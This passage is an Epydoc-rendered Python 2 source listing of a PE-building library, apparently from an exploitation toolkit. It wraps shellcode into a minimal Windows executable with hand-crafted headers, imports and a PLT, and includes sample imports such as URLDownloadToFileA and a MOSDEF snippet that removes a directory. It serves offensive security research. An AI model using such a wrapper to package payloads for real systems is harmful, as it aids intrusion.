1049 shellcode = "\x90" * ( plt_len * functions_num) + shellcode
1050
1051 # So, by now we have important in the fancy format [ ('dll name', ['functions'] ) ]
1052 # And also, func_by_addr = {dllname!function]: function_plt }, and also functions_num has the size of functions
1053
1054
1055
1056 idx= 0
1057 # MZ
1058 mz = MZ()
1059 mz.e_lfanew = mz.getSize()
1060
1061 idx+= mz.getSize()
1062
1063 # PE Image Header
1064 imgHdr = IMGhdr()
1065 imgHdr.Machine = 0x014c # i386
1066 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one)
1067 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine
1068
1069 idx += imgHdr.getSize() + 4 # for PE_MAGIC
1070
1071 # Optional Header
1072 imgOpt = IMGOPThdr()
1073 imgOpt.SectionAlignment = 0x20 # Thats our aligment
1074 imgOpt.FileAlignment = 0x20
1075 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0
1076 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0
1077 imgOpt.Subsystem = 0x3
1078 imgOpt.SizeOfStackReserve = 0x100000
1079 imgOpt.SizeOfStackCommit = 0x1000
1080 imgOpt.SizeOfHeapReserve = 0x100000
1081 imgOpt.SizeOfHeapCommit = 0x1000
1082 imgOpt.NumberOfRvaAndSizes= 0x10
1083
1084 idx += imgOpt.getSize()
1085
1086 # Directories
1087 directories=[]
1088 for a in range(0, imgOpt.NumberOfRvaAndSizes):
1089 directories.append(Directory())
1090
1091 idx+= directories[0].getSize() * 16
1092
1093 # .code section
1094 code = Section()
1095 code.Name = ".text"
1096 code.Characteristics = 0x60000020L # Code | Executable | Readable
1097 idx+= code.getSize()
1098
1099 # .data section
1100 data = Section()
1101 data.Name = ".data"
1102 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable
1103
1104 idx += data.getSize()
1105
1106 code_offset = self.align(idx, imgOpt.FileAlignment)
1107 firstpad= "\0" * (code_offset - idx)
1108 idx=code_offset
1109
1110 # we can fill data_buf with our data and that will be loaded into mem :>
1111 idx+= len(shellcode)
1112 data_offset = self.align(idx, imgOpt.FileAlignment)
1113 secondpad= "\0" * (data_offset - idx)
1114 idx = data_offset
1115 data_buf =""
1116 idx+= len(data_buf)
1117
1118 # Creating the list of ImportDescriptors
1119 import_offset =idx
1120 imports=[]
1121 ndx= 0
1122 import_str=""
1123
1124 for a in importante:
1125 i= ImportDescriptor()
1126 i.ForwarderChain= 0xFFFFFFFFL
1127 imports.append( (i, ndx))
1128
1129 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end
1130 # to find a string, we will do import_str_offset + this_index
1131
1132 import_str += a[0] + "\0" # Collecting dll names
1133
1134 # The final importdescriptor
1135 imports.append((ImportDescriptor(), 0))
1136 idx+= i.getSize() * len(imports)
1137
1138 import_str_offset = idx
1139 idx+= len(import_str)
1140
1141 off = self.align(idx, imgOpt.FileAlignment)
1142 import_str+="\0" * (off-idx)
1143 idx = off
1144
1145 # Original Thunks
1146 original_thunks_offset = idx
1147 original_thunk=[]
1148
1149 for a in importante:
1150 original_thunk.append(idx)
1151
1152 idx+= len(a[1]) * 4 + 4
1153
1154 # First thunk offset
1155 first_thunks_offset = idx
1156 first_thunk=[]
1157 plt_ndx = 0x1A0
1158 for a in importante:
1159 first_thunk.append(idx)
1160 for b in a[1]:
1161 dupla = "%s|%s" % (a[0], b)
1162
1163 if not func_by_addr.has_key(dupla):
1164 raise PEError, "Error on Thunk"
1165 func_by_addr[ func_by_addr[dupla] ] = "jmp *(0x%08x)\n" % (idx+ image_base)
1166 idx+=4
1167 idx+= 4
1168 # crafting a PLT
1169 PLT=""
1170 for a in range(plt_entry, plt_entry+ plt_len* functions_num, plt_len):
1171 if not func_by_addr.has_key(a):
1172 raise PEError, "func_by_addr doesn't have a PLT address (%x)" % a
1173 PLT+= mosdef.assemble(func_by_addr[a], "X86")
1174 shellcode = PLT + shellcode[plt_len* functions_num:]
1175 print "Shellcode size (with PLT): %d" % len(shellcode)
1176
1177
1178 # Creating IIBN
1179 IIBN=[]
1180 for a in importante:
1181 tbl=[]
1182 IIBN.append(tbl)
1183 for b in a[1]:
1184 iibn = ImageImportByName()
1185 iibn.Name = b #"RevertToSelf"
1186 iibn.Hint = 1
1187 tbl.append((iibn, idx))
1188 idx+=iibn.getSize()
1189
1190 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx)
1191
1192 # Filling the gaps
1193 imgOpt.SizeOfCode = len(shellcode) + len(secondpad)
1194 imgOpt.BaseOfCode = code_offset
1195 # Entry point = code_offset + PLT_entry size
1196 imgOpt.AddressOfEntryPoint = code_offset + plt_len * functions_num
1197
1198 imgOpt.BaseOfData = data_offset
1199 imgOpt.ImageBase = image_base
1200 imgOpt.SizeOfInitializedData = 0x20
1201 imgOpt.SizeOfImage = 0xC #
1202
1203 imgOpt.SizeOfHeaders = code_offset
1204 imgOpt.NumberOfRvaAndSizes = 0x10
1205
1206 # Import Directory
1207
1208 directories[1].VirtualSize=directories[1].Size = idx - import_offset
1209 directories[1].VirtualAddress= import_offset
1210
1211 # code and data
1212 code.VirtualAddress = code_offset
1213 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode
1214 code.PointerToRawData = code_offset
1215
1216 data.VirtualAddress = data_offset
1217 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf)
1218 data.PointerToRawData = data_offset
1219
1220 imgOpt.SizeOfImage = idx #
1221
1222 # Fixing imports with thunk info
1223 for a in range(0, len(imports)-1):
1224 imports[a][0].OriginalFirstThunk= original_thunk[a]
1225 imports[a][0].FirstThunk= first_thunk[a]
1226 imports[a][0].Name = import_str_offset + imports[a][1]
1227
1228
1229 # RAWing...
1230 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw()
1231 for a in directories:
1232 buf+= a.raw()
1233 buf+= code.raw()
1234 buf+= data.raw()
1235 buf+= firstpad
1236 buf+= shellcode
1237 buf+= secondpad
1238 buf+= data_buf
1239
1240 for a in imports:
1241 buf+= a[0].raw()
1242 buf+= import_str
1243
1244 # ORIGINAL THUNK
1245 for a in IIBN:
1246 for b in a: # Listing function
1247 buf+=struct.pack("L",b[1])
1248 buf+=struct.pack("L",0x0)
1249
1250 # FIRST THUNK
1251 for a in IIBN:
1252 for b in a: # Listing function
1253 buf+=struct.pack("L",b[1])
1254 buf+=struct.pack("L",0x0)
1255
1256 # IIBN
1257 for a in IIBN:
1258 for b in a:
1259 buf+= b[0].raw()
1260 buf+= endpad
1261
1262 # Done, dumping to a file
1263 f=open(filename, "wb")
1264 f.write(buf)
1265 f.close()
1266 return len(buf)
1267
1274
1275 if __name__ == "__main__":
1276 import getopt, sys
1277 args= sys.argv[1:]
1278 OPEN = 0x1
1279 WRITE = 0x2
1280 EXAMPLE = 0x3
1281 p=PElib()
1282
1283 what=0
1284 file=""
1285 try:
1286 opts, args = getopt.getopt(args, "f:OWE")
1287 except:
1288 print "Error in Arguments"
1289 usage(sys.argv[0])
1290 for o,a in opts:
1291 if o == '-f':
1292 file=a
1293 if o == '-O':
1294 what =OPEN
1295 if o == '-W':
1296 what = WRITE
1297 if o == '-E':
1298 what = EXAMPLE
1299 if file:
1300 if what == OPEN:
1301 p.openfile(file)
1302 elif what == WRITE:
1303 shellcode=p.createShellcode()
1304 imports = [ ("advapi32.dll", ["RevertToSelf", "AccessCheck"]), ("urlmon.dll", ["URLDownloadToFileA", "FindMediaType" ]) ]
1305
1306 p.createPE(file, shellcode, imports)
1307
1308 elif what == EXAMPLE:
1309 vars={}
1310 vars["filename"]="boo"
1311
1312 code="""
1313 //start of code
1314 #import "remote", "kernel32.dll|GetProcAddress" as "getprocaddress"
1315 #import "remote", "kernel32.dll|RemoveDirectoryA" as "RemoveDirectory"
1316 #import "remote", "kernel32.dll|ExitProcess" as "exit"
1317 #import "string", "filename" as "filename"
1318
1319 void main()
1320 {
1321 int i;
1322 i = RemoveDirectory(filename);
1323 i = exit(0);
1324 }
1325 """
1326
1327
1328 p.createMOSDEFPE(file, code, vars)
1329
1330 else:
1331 usage(sys.argv[0])
1332 else:
1333
1334 usage(sys.argv[0])
1335
1336
1337 #self._openPE()
1338
| Trees | Indices | Help |
|
|---|
| Generated by Epydoc 3.0.1 on Thu Sep 11 14:06:37 2008 | http://epydoc.sourceforge.net |